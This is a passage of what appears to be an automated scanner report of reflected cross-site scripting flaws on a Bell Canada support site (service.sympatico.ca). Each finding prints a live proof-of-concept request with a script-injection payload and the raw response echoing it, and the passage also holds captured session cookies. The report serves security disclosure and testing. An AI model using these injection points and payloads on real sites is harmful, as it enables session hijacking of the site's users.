E%0D%0A%09%0D%0A%09%3Cpagetitle%3EInternet%3C%2Fpagetitle%3E%0D%0A%09%3Clanguage%3Een%3C%2Flanguage%3E%0D%0A%09%3Cbreadcrumb%3E%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fhome%2FHome%5FPersonal%2Epage%3Flanguage%3Den%26amp%3Bamp%3Bregion%3DON%22%26gt%3BHome%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fsupport%2FPrsCSrv%5FLanding%2Epage%3F%3Flanguage%3Den%26amp%3Bamp%3Bregion%3DON%22%26gt%3BSupport%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%0D%0A%09%09%26lt%3Bli%26gt%3BInternet%26lt%3B%2Fli%26gt%3B%0D%0A%09%3C%2Fbreadcrumb%3E%0D%0A%3C%2Fsettings%3E; VOKEN_SEEN=0

Response

HTTP/1.1 200 OK
Server: Microsoft-IIS/5.0
Date: Wed, 24 Nov 2010 23:04:14 GMT
Connection: close
Set-Cookie: SMSESSION=xn4z6QJw3hCkxamiLdLbUsyLseZslBaNkekzJHGJaeMZFYZXRKV4hTgVTHjkjtD9ATU1m+3t1uS6K8CSNeai5My2c52gtLQHk79FrNLfiZYQXetW5+pJNaA3DaNBYqldPWwK2w9U7m2vLsS6dFdWWv8x2cZxQhe2BuYn4TgXjhwIJ5VP4gr1OVNy5+8hKz6oPmzmBBiPUZlnEkR1qYpV/2l9d3lFG7zOWQPJCUJHQ832Z4YZtp9acEeyYPvC31bkKx+wM3w+Y4zHRRabE+W52IkCr172v6h3I/m2qUuXa4dlhlIswPgPog==; path=/
Set-Cookie: UPROF_ISAUTHENTICATED=;expires=Tue, 24-Nov-2009 23:04:14 GMT;path=/
Set-Cookie: UPROF_USERTYPE=;expires=Tue, 24-Nov-2009 23:04:14 GMT;path=/
Set-Cookie: UPROF_MSNSTATE=;expires=Tue, 24-Nov-2009 23:04:14 GMT;path=/
Set-Cookie: UPROF_UID=;expires=Tue, 24-Nov-2009 23:04:14 GMT;path=/
Set-Cookie: UPROF_PARENTUID=;expires=Tue, 24-Nov-2009 23:04:14 GMT;path=/
Set-Cookie: UPROF_SYMPATICOUID=;expires=Tue, 24-Nov-2009 23:04:14 GMT;path=/
Set-Cookie: UPROF_PASSPORTUID=;expires=Tue, 24-Nov-2009 23:04:14 GMT;path=/
Set-Cookie: UPROF_SIGNINURL=;expires=Tue, 24-Nov-2009 23:04:14 GMT;path=/
Set-Cookie: UPROF_ENCRYPTEDBLOCK=;expires=Tue, 24-Nov-2009 23:04:14 GMT;path=/
Set-Cookie: UPROF_EMAILSAVED=different%5Fthan%5Fuprof%5FEmail;path=/
Set-Cookie: BASE_CACHED_URL=https%3A%2F%2Fservice%2Esympatico%2Eca%2Findex%2Ecfm%3F44bf1%2522%253E%253Cscript%253Ealert%28document%2Ecookie%29%253C%2Fscript%253EHOYT%2ELLC%2ERESEACH%2EXSS%2EPC%2E11%2E24%2E2010%2ESERVICE%2EBELL%2ECA%3D1f4f8f%22%3E%3Cscript%3Ealert%281%29%3C%2Fscript%3E6c8df27c25a;path=/
Set-Cookie: NAVANTIS2=%3C%3Fxml%20version%3D%221%2E0%22%20encoding%3D%22UTF%2D8%22%3F%3E%0D%0A%3Csettings%3E%0D%0A%09%3Cmenu%5Factive%3E0%3C%2Fmenu%5Factive%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F1%20id%3D%220%22%20name%3D%22Internet%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F2%20id%3D%22617%22%20name%3D%22Getting%20started%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F3%20id%3D%22546%22%20name%3D%22Account%20%26amp%3B%20billing%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F4%20id%3D%22582%22%20name%3D%22Email%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F5%20id%3D%22691%22%20name%3D%22Security%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F6%20id%3D%22615%22%20name%3D%22Home%20networking%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F7%20id%3D%22611%22%20name%3D%22Troubleshooting%22%2F%3E%0D%0A%09%0D%0A%09%3Cpagetitle%3EInternet%3C%2Fpagetitle%3E%0D%0A%09%3Clanguage%3Een%3C%2Flanguage%3E%0D%0A%09%3Cbreadcrumb%3E%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fhome%2FHome%5FPersonal%2Epage%3Flanguage%3Den%26amp%3Bamp%3Bregion%3DON%22%26gt%3BHome%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fsupport%2FPrsCSrv%5FLanding%2Epage%3F%3Flanguage%3Den%26amp%3Bamp%3Bregion%3DON%22%26gt%3BSupport%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%0D%0A%09%09%26lt%3Bli%26gt%3BInternet%26lt%3B%2Fli%26gt%3B%0D%0A%09%3C%2Fbreadcrumb%3E%0D%0A%3C%2Fsettings%3E;domain=sympatico.ca;expires=Fri, 16-Nov-2040 23:04:14 GMT;path=/
Content-Type: text/html; charset=ISO-8859-1

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
   
   
       <meta name="description" con
...[SNIP]...
<input type="hidden" name="return" value="https://service.sympatico.ca/index.cfm?44bf1%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3EHOYT.LLC.RESEACH.XSS.PC.11.24.2010.SERVICE.BELL.CA=1f4f8f"><script>alert(1)</script>6c8df27c25a" />
...[SNIP]...

2.247. https://service.sympatico.ca/index.cfm [REST URL parameter 1]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   https://service.sympatico.ca
Path:   /index.cfm

Issue detail

The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 9af5f"><script>alert(1)</script>32f92beea9b was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.

Request

GET /index.cfm9af5f"><script>alert(1)</script>32f92beea9b HTTP/1.1
Host: service.sympatico.ca
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response (redirected)

HTTP/1.1 200 OK
Server: Microsoft-IIS/5.0
Date: Wed, 24 Nov 2010 15:22:11 GMT
Connection: close
Set-Cookie: SMSESSION=5oe4G2qF2QGds4ocM3taX89gV5U7DcZYDzSM5FK8Tvmu/KVdn6E11JPLj8Er7n8Arwin1IR7pXlxIScPEoC6FTm1vr8Ef+mscqbP2oJdaohSrfFHz+Mb0WwC3v3H47Jh/dxpuDuLJEKYHNIGBZSFFpEZZ3qGXvXakrFiCu0xM0Aee1KZBF7AeTBQ2YauxuXrKzrac0OmROqnCpCP3AelInTZNR2gCrHvaPyDRgZ1LWK13JvxF2/54au8RUHO6UomtsWGiDWvpWJjrNrseZBowWx9gkMn12/Mn3bTeY9giQVVFh7duof1Kw==; path=/
Set-Cookie: CFID=122144266;expires=Fri, 16-Nov-2040 15:22:11 GMT;path=/
Set-Cookie: CFTOKEN=74984920;expires=Fri, 16-Nov-2040 15:22:11 GMT;path=/
Set-Cookie: GEO_IPAD=;path=/
Set-Cookie: GEO_SPEED=Unknown;path=/
Set-Cookie: GEO_PROVIDER=Unknown;path=/
Set-Cookie: GEO_REGION=Unknown;path=/
Set-Cookie: GEO_IPAD=A8958A918EF66A5FE2D3C1DDBDACE9D7;expires=Thu, 25-Nov-2010 15:22:11 GMT;path=/
Set-Cookie: GEO_SPEED=Unknown;expires=Thu, 25-Nov-2010 15:22:11 GMT;path=/
Set-Cookie: GEO_PROVIDER=Unknown;expires=Thu, 25-Nov-2010 15:22:11 GMT;path=/
Set-Cookie: GEO_REGION=Unknown;expires=Thu, 25-Nov-2010 15:22:11 GMT;path=/
Set-Cookie: BASE_CACHED_URL=index%2Ecfm;path=/
Set-Cookie: UUID=7E7A471B%2D65B8%2DB18C%2D8C6B82776FCC3171;expires=Fri, 16-Nov-2040 15:22:11 GMT;path=/
Set-Cookie: UPROF_ISAUTHENTICATED=;expires=Tue, 24-Nov-2009 15:22:11 GMT;path=/
Set-Cookie: UPROF_USERTYPE=;expires=Tue, 24-Nov-2009 15:22:11 GMT;path=/
Set-Cookie: UPROF_MSNSTATE=;expires=Tue, 24-Nov-2009 15:22:11 GMT;path=/
Set-Cookie: UPROF_UID=;expires=Tue, 24-Nov-2009 15:22:11 GMT;path=/
Set-Cookie: UPROF_PARENTUID=;expires=Tue, 24-Nov-2009 15:22:11 GMT;path=/
Set-Cookie: UPROF_SYMPATICOUID=;expires=Tue, 24-Nov-2009 15:22:11 GMT;path=/
Set-Cookie: UPROF_PASSPORTUID=;expires=Tue, 24-Nov-2009 15:22:11 GMT;path=/
Set-Cookie: UPROF_SIGNINURL=;expires=Tue, 24-Nov-2009 15:22:11 GMT;path=/
Set-Cookie: UPROF_ENCRYPTEDBLOCK=;expires=Tue, 24-Nov-2009 15:22:11 GMT;path=/
Set-Cookie: UPROF_EMAILSAVED=different%5Fthan%5Fuprof%5FEmail;path=/
Set-Cookie: NAVANTIS2=%3C%3Fxml%20version%3D%221%2E0%22%20encoding%3D%22UTF%2D8%22%3F%3E%0D%0A%3Csettings%3E%0D%0A%09%3Cmenu%5Factive%3E0%3C%2Fmenu%5Factive%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F1%20id%3D%220%22%20name%3D%22Internet%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F2%20id%3D%22617%22%20name%3D%22Getting%20started%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F3%20id%3D%22546%22%20name%3D%22Account%20%26amp%3B%20billing%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F4%20id%3D%22582%22%20name%3D%22Email%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F5%20id%3D%22691%22%20name%3D%22Security%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F6%20id%3D%22615%22%20name%3D%22Home%20networking%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F7%20id%3D%22611%22%20name%3D%22Troubleshooting%22%2F%3E%0D%0A%09%0D%0A%09%3Cpagetitle%3EPage%20not%20found%3C%2Fpagetitle%3E%0D%0A%09%3Clanguage%3Een%3C%2Flanguage%3E%0D%0A%09%3Cbreadcrumb%3E%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fhome%2FHome%5FPersonal%2Epage%3Flanguage%3Den%26amp%3Bamp%3Bregion%3DON%22%26gt%3BHome%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fsupport%2FPrsCSrv%5FLanding%2Epage%3F%3Flanguage%3Den%26amp%3Bamp%3Bregion%3DON%22%26gt%3BSupport%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fservice%2Esympatico%2Eca%2Findex%2Ecfm%22%26gt%3BInternet%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%3C%2Fbreadcrumb%3E%0D%0A%3C%2Fsettings%3E;domain=sympatico.ca;expires=Fri, 16-Nov-2040 15:22:11 GMT;path=/
Set-Cookie: VOKEN_SEEN=0;path=/
Content-Type: text/html; charset=ISO-8859-1

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
   
   
   <!-- Character Set Encodi
...[SNIP]...
type="hidden" name="return" value="https://service.sympatico.ca/index.cfm?method=home.pagenotfound&path_requested=https://service.sympatico.ca/includes/404.cfm?404;http://service.sympatico.ca/index.cfm9af5f"><script>alert(1)</script>32f92beea9b" />
...[SNIP]...

2.248. https://service.sympatico.ca/index.cfm [name of an arbitrarily supplied request parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   https://service.sympatico.ca
Path:   /index.cfm

Issue detail

The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 44bf1"><script>alert(1)</script>c99a167113d was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /index.cfm?44bf1"><script>alert(1)</script>c99a167113d=1 HTTP/1.1
Host: service.sympatico.ca
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Server: Microsoft-IIS/5.0
Date: Wed, 24 Nov 2010 15:22:04 GMT
Connection: close
Set-Cookie: SMSESSION=q0XeuhUmedKCfcOZ38rBPtE8ooU/0xI242nfieKIjFoOuhoKPF4SIVKYtXdGx10RJaEp5itwyCa3o/HDsC8qzGE4ngkIvjojFlFuKuBhJKq+rdmhNTC6j6UDAQiwGJRTBetNmx2Nmu8pVmJ7YHvf2ea1Mb4bYfjyBbQ5s2Shydvbm+6x9s5V/BtEqTGbJZYih7jBMZvMX3j2ckKr9FqzT0ZrI2358tYeBlobaKzrtgaU+Pj7EzsyQvmyIFuuX5FIlge1d0WWr8BDAVEvsXzzIQec/cAA2mYFkUMXGktOwTCtrTaT/UZImA==; path=/
Set-Cookie: CFID=122144239;expires=Fri, 16-Nov-2040 15:22:04 GMT;path=/
Set-Cookie: CFTOKEN=59654893;expires=Fri, 16-Nov-2040 15:22:04 GMT;path=/
Set-Cookie: GEO_IPAD=;path=/
Set-Cookie: GEO_SPEED=Unknown;path=/
Set-Cookie: GEO_PROVIDER=Unknown;path=/
Set-Cookie: GEO_REGION=Unknown;path=/
Set-Cookie: GEO_IPAD=A8958A918EF66A5FE2D3C1DDBDACE9D7;expires=Thu, 25-Nov-2010 15:22:04 GMT;path=/
Set-Cookie: GEO_SPEED=Unknown;expires=Thu, 25-Nov-2010 15:22:04 GMT;path=/
Set-Cookie: GEO_PROVIDER=Unknown;expires=Thu, 25-Nov-2010 15:22:04 GMT;path=/
Set-Cookie: GEO_REGION=Unknown;expires=Thu, 25-Nov-2010 15:22:04 GMT;path=/
Set-Cookie: BASE_CACHED_URL=index%2Ecfm;path=/
Set-Cookie: UUID=7E7A2A9B%2D65B8%2DB18C%2D83E95BF3BD053A52;expires=Fri, 16-Nov-2040 15:22:04 GMT;path=/
Set-Cookie: UPROF_ISAUTHENTICATED=;expires=Tue, 24-Nov-2009 15:22:04 GMT;path=/
Set-Cookie: UPROF_USERTYPE=;expires=Tue, 24-Nov-2009 15:22:04 GMT;path=/
Set-Cookie: UPROF_MSNSTATE=;expires=Tue, 24-Nov-2009 15:22:04 GMT;path=/
Set-Cookie: UPROF_UID=;expires=Tue, 24-Nov-2009 15:22:04 GMT;path=/
Set-Cookie: UPROF_PARENTUID=;expires=Tue, 24-Nov-2009 15:22:04 GMT;path=/
Set-Cookie: UPROF_SYMPATICOUID=;expires=Tue, 24-Nov-2009 15:22:04 GMT;path=/
Set-Cookie: UPROF_PASSPORTUID=;expires=Tue, 24-Nov-2009 15:22:04 GMT;path=/
Set-Cookie: UPROF_SIGNINURL=;expires=Tue, 24-Nov-2009 15:22:04 GMT;path=/
Set-Cookie: UPROF_ENCRYPTEDBLOCK=;expires=Tue, 24-Nov-2009 15:22:04 GMT;path=/
Set-Cookie: UPROF_EMAILSAVED=different%5Fthan%5Fuprof%5FEmail;path=/
Set-Cookie: BASE_CACHED_URL=https%3A%2F%2Fservice%2Esympatico%2Eca%2Findex%2Ecfm%3F44bf1%22%3E%3Cscript%3Ealert%281%29%3C%2Fscript%3Ec99a167113d%3D1;path=/
Set-Cookie: NAVANTIS2=%3C%3Fxml%20version%3D%221%2E0%22%20encoding%3D%22UTF%2D8%22%3F%3E%0D%0A%3Csettings%3E%0D%0A%09%3Cmenu%5Factive%3E0%3C%2Fmenu%5Factive%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F1%20id%3D%220%22%20name%3D%22Internet%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F2%20id%3D%22617%22%20name%3D%22Getting%20started%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F3%20id%3D%22546%22%20name%3D%22Account%20%26amp%3B%20billing%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F4%20id%3D%22582%22%20name%3D%22Email%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F5%20id%3D%22691%22%20name%3D%22Security%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F6%20id%3D%22615%22%20name%3D%22Home%20networking%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F7%20id%3D%22611%22%20name%3D%22Troubleshooting%22%2F%3E%0D%0A%09%0D%0A%09%3Cpagetitle%3EInternet%3C%2Fpagetitle%3E%0D%0A%09%3Clanguage%3Een%3C%2Flanguage%3E%0D%0A%09%3Cbreadcrumb%3E%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fhome%2FHome%5FPersonal%2Epage%3Flanguage%3Den%26amp%3Bamp%3Bregion%3DON%22%26gt%3BHome%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fsupport%2FPrsCSrv%5FLanding%2Epage%3F%3Flanguage%3Den%26amp%3Bamp%3Bregion%3DON%22%26gt%3BSupport%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%0D%0A%09%09%26lt%3Bli%26gt%3BInternet%26lt%3B%2Fli%26gt%3B%0D%0A%09%3C%2Fbreadcrumb%3E%0D%0A%3C%2Fsettings%3E;domain=sympatico.ca;expires=Fri, 16-Nov-2040 15:22:04 GMT;path=/
Set-Cookie: VOKEN_SEEN=0;path=/
Content-Type: text/html; charset=ISO-8859-1

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
   
   
       <meta name="description" con
...[SNIP]...
<input type="hidden" name="return" value="https://service.sympatico.ca/index.cfm?44bf1"><script>alert(1)</script>c99a167113d=1" />
...[SNIP]...

2.249. https://service.sympatico.ca/js/PageSize.js [REST URL parameter 1]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   https://service.sympatico.ca
Path:   /js/PageSize.js

Issue detail

The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 86a68"><script>alert(1)</script>3fb965c321c was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.

Request

GET /js86a68"><script>alert(1)</script>3fb965c321c/PageSize.js HTTP/1.1
Host: service.sympatico.ca
Connection: keep-alive
Referer: https://service.sympatico.ca/index.cfm?method=home.pagenotfound&path_requested=http://service.sympatico.ca/includes/404.cfm?404;http://service.sympatico.ca/index.cfmcedc3%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E08b85c0c654
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.7 (KHTML, like Gecko) Chrome/7.0.517.44 Safari/534.7
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: s_vnum=1292876043197%26vn%3D3; Language=en; __utmz=76150551.1290615373.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/10; s_pers=%20s_pv%3Dnb%253Ac%253Acust_care%253Ainternet%253Aco%253Amethod%253Dhome.pagenotfound%2528en-on%2529%7C1290617286170%3B; s_sess=%20s_cc%3Dtrue%3B%20s_sq%3D%3B; __utma=76150551.1461550168.1290615373.1290615373.1290615373.1; __utmc=76150551; __utmb=76150551.5.10.1290615373; SMSESSION=TgprfkKpYwggjqLgMgF2R7U5lKJiO70uACzJubrRufBG8X4XFb7CoOjFI/rfGNFHrcSgUVGCrl0mIryXuNetQ+twfJal39GmuzRUumSIln9R+rDLdUzUqMn1W5ogsXO2jRwI8Uqm4Q6un5aN5g8DNrjrjgYStAed+jDb/u4BG8FgpPfns7ewVUoYnD7xoG4ruboFicAEUxtxwzDE2SeMJju7RXd0LQj8bn6xvUI0h4a+pAtNSHeqoCWQ2HYR5eBswWOVIn0duU4BjvXX00Dcim3fwpIMFjrLSb93fGDkYMjSSEp+tFiBtw==; CFID=122144950; CFTOKEN=57529978; GEO_IPAD=A8958A918EF66A5FE2D3C1DDBDACE9D7; GEO_SPEED=Unknown; GEO_PROVIDER=Unknown; GEO_REGION=Unknown; BASE_CACHED_URL=index%2Ecfm; UUID=7E7D4EE1%2D65B8%2DB18C%2D8BB2A5969E294761; UPROF_EMAILSAVED=different%5Fthan%5Fuprof%5FEmail; NAVANTIS2=%3C%3Fxml%20version%3D%221%2E0%22%20encoding%3D%22UTF%2D8%22%3F%3E%0D%0A%3Csettings%3E%0D%0A%09%3Cmenu%5Factive%3E0%3C%2Fmenu%5Factive%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F1%20id%3D%220%22%20name%3D%22Internet%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F2%20id%3D%22617%22%20name%3D%22Getting%20started%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F3%20id%3D%22546%22%20name%3D%22Account%20%26amp%3B%20billing%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F4%20id%3D%22582%22%20name%3D%22Email%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F5%20id%3D%22691%22%20name%3D%22Security%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F6%20id%3D%22615%22%20name%3D%22Home%20networking%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F7%20id%3D%22611%22%20name%3D%22Troubleshooting%22%2F%3E%0D%0A%09%0D%0A%09%3Cpagetitle%3EPage%20not%20found%3C%2Fpagetitle%3E%0D%0A%09%3Clanguage%3Een%3C%2Flanguage%3E%0D%0A%09%3Cbreadcrumb%3E%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fhome%2FHome%5FPersonal%2Epage%3Flanguage%3Den%26amp%3Bamp%3Bregion%3DON%22%26gt%3BHome%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fsupport%2FPrsCSrv%5FLanding%2Epage%3F%3Flanguage%3Den%26amp%3Bamp%3Bregion%3DON%22%26gt%3BSupport%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fservice%2Esympatico%2Eca%2Findex%2Ecfm%22%26gt%3BInternet%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%3C%2Fbreadcrumb%3E%0D%0A%3C%2Fsettings%3E; VOKEN_SEEN=0

Response (redirected)

HTTP/1.1 200 OK
Server: Microsoft-IIS/5.0
Date: Wed, 24 Nov 2010 23:05:44 GMT
Connection: close
Set-Cookie: SMSESSION=VKY+kuYusIzwhIGSA3j6QNLrlOhhfq65DIx2w6H7iQ09OopKWFjZIl55fr2ir8SAN0X2qBwgHahySncC+6aY9afSTAHTaYa8TVgTxwUIFOP/HPFudfn7FVhacQz2Nv8e0IoV7Grl6/7A6QokCqChEtfTc2ansXFciOvtDz0/6L9/QSLGRBNK4FRV9MZ9vhwk3zXYBMb6PwNB/XWQnqmApNvPA2c9MKF8JJ3olPEc0ZOTH0siKsG+F9HCd9syMCiOObv+nl0JuWv25IUQWjZZ7sVv/2D/3dlUgWKNjhCVWpzEYpMaV936cA==; path=/
Set-Cookie: UPROF_ISAUTHENTICATED=;expires=Tue, 24-Nov-2009 23:05:45 GMT;path=/
Set-Cookie: UPROF_USERTYPE=;expires=Tue, 24-Nov-2009 23:05:45 GMT;path=/
Set-Cookie: UPROF_MSNSTATE=;expires=Tue, 24-Nov-2009 23:05:45 GMT;path=/
Set-Cookie: UPROF_UID=;expires=Tue, 24-Nov-2009 23:05:45 GMT;path=/
Set-Cookie: UPROF_PARENTUID=;expires=Tue, 24-Nov-2009 23:05:45 GMT;path=/
Set-Cookie: UPROF_SYMPATICOUID=;expires=Tue, 24-Nov-2009 23:05:45 GMT;path=/
Set-Cookie: UPROF_PASSPORTUID=;expires=Tue, 24-Nov-2009 23:05:45 GMT;path=/
Set-Cookie: UPROF_SIGNINURL=;expires=Tue, 24-Nov-2009 23:05:45 GMT;path=/
Set-Cookie: UPROF_ENCRYPTEDBLOCK=;expires=Tue, 24-Nov-2009 23:05:45 GMT;path=/
Set-Cookie: UPROF_EMAILSAVED=different%5Fthan%5Fuprof%5FEmail;path=/
Set-Cookie: NAVANTIS2=%3C%3Fxml%20version%3D%221%2E0%22%20encoding%3D%22UTF%2D8%22%3F%3E%0D%0A%3Csettings%3E%0D%0A%09%3Cmenu%5Factive%3E0%3C%2Fmenu%5Factive%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F1%20id%3D%220%22%20name%3D%22Internet%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F2%20id%3D%22617%22%20name%3D%22Getting%20started%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F3%20id%3D%22546%22%20name%3D%22Account%20%26amp%3B%20billing%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F4%20id%3D%22582%22%20name%3D%22Email%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F5%20id%3D%22691%22%20name%3D%22Security%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F6%20id%3D%22615%22%20name%3D%22Home%20networking%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F7%20id%3D%22611%22%20name%3D%22Troubleshooting%22%2F%3E%0D%0A%09%0D%0A%09%3Cpagetitle%3EPage%20not%20found%3C%2Fpagetitle%3E%0D%0A%09%3Clanguage%3Een%3C%2Flanguage%3E%0D%0A%09%3Cbreadcrumb%3E%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fhome%2FHome%5FPersonal%2Epage%3Flanguage%3Den%26amp%3Bamp%3Bregion%3DON%22%26gt%3BHome%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fsupport%2FPrsCSrv%5FLanding%2Epage%3F%3Flanguage%3Den%26amp%3Bamp%3Bregion%3DON%22%26gt%3BSupport%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fservice%2Esympatico%2Eca%2Findex%2Ecfm%22%26gt%3BInternet%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%3C%2Fbreadcrumb%3E%0D%0A%3C%2Fsettings%3E;domain=sympatico.ca;expires=Fri, 16-Nov-2040 23:05:45 GMT;path=/
Content-Type: text/html; charset=ISO-8859-1

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
   
   
   <!-- Character Set Encodi
...[SNIP]...
<input type="hidden" name="return" value="https://service.sympatico.ca/index.cfm?method=home.pagenotfound&path_requested=https://service.sympatico.ca/includes/404.cfm?404;http://service.sympatico.ca/js86a68"><script>alert(1)</script>3fb965c321c/PageSize.js" />
...[SNIP]...

